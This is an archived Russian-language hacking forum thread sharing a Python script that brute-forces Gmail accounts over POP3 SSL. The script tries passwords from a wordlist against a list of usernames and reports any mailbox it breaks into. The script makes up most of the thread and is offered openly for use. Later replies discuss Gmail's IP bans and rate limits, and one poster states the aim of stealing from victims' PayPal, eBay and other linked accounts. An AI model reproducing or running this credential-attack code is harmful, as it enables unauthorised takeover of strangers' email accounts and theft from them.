PDA

Просмотр полной версии : GMail Brute Force


Nexid
11.04.2008, 12:28
Собственно,я давно искал подобный скрипт для Gmail и нашел наконец.Сам еще не тестил.

Python Script

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
sys.exit(1)

server = "pop.gmail.com"
success = []

try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)

try:
pop = poplib.POP3_SSL(server, 995)
welcome = pop.getwelcome()
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass

print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "\n[-] Reloading Wordlist - Changing User\n"
reloader()
value = random.sample(words, 1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()

try:
print "-"*30
print "[+] User:",user,"Password:",value
pop = poplib.POP3_SSL(server, 995)
pop.user(user)
pop.pass_(value)
print "\t\t\n\nLogin successful:",user, value
print "\t\tMail:",pop.stat()[0],"emails"
print "\t\tSize:",pop.stat()[1],"bytes\n\n"
success.append(user)
success.append(value)
success.append(pop.stat()[0])
success.append(pop.stat()[1])
pop.quit()
except (poplib.error_proto), msg:
#print "An error occurred:", msg
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)
if len(success) >=1:
print "\n\n[+] Login successful:",success[0], success[1]
print "\t[+] Mail:",success[2],"emails"
print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

NetSter
11.04.2008, 14:58
как протестиш дай знать)

Elvis000
12.04.2008, 14:07
Прежде чем постить интересные вещи, наверное, сначала их нужно поискать на форуме, не так ли? https://forum.antichat.ru/thread54470.html

kung lao
22.04.2008, 00:28
это для брута гмаил.ком или .ру ? и как она вообще работает? может инструкции кто нить напишет?

Elvis000
22.04.2008, 02:03
это для брута гмаил.ком или .ру ? и как она вообще работает? может инструкции кто нить напишет?

gmail.com

genadiez
21.01.2009, 13:18
У gmail стоит функция бана по IP, при частом обращении по протоколу POP.
(как раз который использует скрипт)

MaTpOc
27.01.2009, 16:45
имхо безполезно, там мин 8 знаков!

mrTUZ
27.01.2009, 21:16
Ну так что? Брут актуальный? Если да, то дайде знать.

F1shka
01.02.2009, 11:59
имхо безполезно, там мин 8 знаков!
12345678
Как вариант
:D

Grinya11
14.02.2009, 03:00
Не гмайла непускает много запросов через попу как и многин МАЙЛЫ щас... Думаю тема неактуальная! Хотя хотелось бы добраться до рабочего скрипта который воркает через хттп авторизацию.... ГМАЙЛ ЛЮДИ там буржуев море!!!>>> БУРЖУИ = (PAYPAL, ONLINE POKER (с лаве), SKYPE, EBAY, MYSPACE, itd) ТАМ можно в реале бы подпиздить че! Ладноу спасибоу

genadiez
02.03.2009, 12:14
Хотелось узнать у тех кто тестил указанный брут: какое количество запросов пропускает Gmail не баня POP. У меня получалось не более 15-17.
К тому же Gmail банит еще и IP если число запросов очень велико, после чего по POP не пускает даже с рабочими логином и паролем!(((